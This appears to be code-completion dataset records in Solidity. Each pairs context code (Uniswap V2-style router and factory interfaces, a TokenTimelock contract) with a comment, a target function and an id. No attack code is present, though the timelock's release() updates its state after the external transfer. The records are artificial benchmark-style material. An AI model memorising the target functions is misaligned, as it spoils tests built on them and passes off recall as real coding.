) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint fee) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint fee) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB, uint fee) external returns (address pair);
function setFeeTo(address) external;
function setFee(address, address, uint) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20Uniswap {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
|
refund dust eth, if any
|
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
| 2,115
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
struct Timelock {
uint256 amount; // amount of tokens to lock
uint256 releaseTime; // timestamp when token release is enabled
}
// tokenAddress => ( ownerAddress => { amount, releaseTime } )
mapping(address => mapping(address => Timelock)) public timelockMap;
event TokenTimelocked(ERC20 indexed token, address indexed tokenOwner, uint256 amount, uint256 releaseTime);
event TokenTimelockReleased(ERC20 indexed token, address indexed tokenOwner, uint256 amount, uint256 releaseTime, uint256 blockTime);
constructor () public {}
/**
* @return the amount of tokens locked by the tokenOwner.
*/
function getTokenOwnerLockAmount(ERC20 token, address tokenOwner) public view returns (uint256) {
return timelockMap[address(token)][tokenOwner].amount;
}
/**
* @return the releaseTime set by the tokenOwner.
*/
function getTokenOwnerLockReleaseTime(ERC20 token, address tokenOwner) public view returns (uint256) {
return timelockMap[address(token)][tokenOwner].releaseTime;
}
/**
* @notice Locks senders tokens for the specified time
* Must approve the contract for transfering tokens before calling this function
*/
function lock(ERC20 token, uint256 amount, uint256 releaseTime) public returns (bool) {
require(releaseTime > block.timestamp, "release time is before current time");
require(amount > 0, "token amount is invalid");
address _tokenOwner = msg.sender;
address _tokenAddr = address(token);
require(_tokenAddr != address(0), "token address is invalid");
Timelock storage _lock = timelockMap[_tokenAddr][_tokenOwner];
require(_lock.amount == 0 && _lock.releaseTime == 0, "a lock for the token & sender already exists");
require(token.transferFrom(_tokenOwner, address(this), amount), "transferFrom failed");
timelockMap[_tokenAddr][_tokenOwner] = Timelock(amount, releaseTime);
emit TokenTimelocked(token, _tokenOwner, amount, releaseTime);
return true;
}
/**
* @notice Transfers tokens held by timelock to tokenOwner.
*/
function release(ERC20 token) public returns (bool) {
address _tokenAddr = address(token);
address _tokenOwner = msg.sender;
require(_tokenAddr != address(0), "token address is invalid");
Timelock storage _lock = timelockMap[_tokenAddr][_tokenOwner];
require(_lock.amount > 0 && _lock.releaseTime > 0, "a lock for the token & sender doesn't exist");
require(block.timestamp >= _lock.releaseTime, "current time is before release time");
uint256 balance = token.balanceOf(address(this));
require(_lock.amount <= balance, "not enough tokens to release");
require(token.transfer(_tokenOwner, _lock.amount), "transfer failed");
timelockMap[_tokenAddr][_tokenOwner].amount = 0;
timelockMap[_tokenAddr][_tokenOwner].releaseTime = 0;
emit TokenTimelockReleased(token, _tokenOwner, _lock.amount, _lock.releaseTime, block.timestamp);
return true;
}
}
|
* @return the releaseTime set by the tokenOwner./
|
function getTokenOwnerLockReleaseTime(ERC20 token, address tokenOwner) public view returns (uint256) {
return timelockMap[address(token)][tokenOwner].releaseTime;
}
| 10,851,176
|
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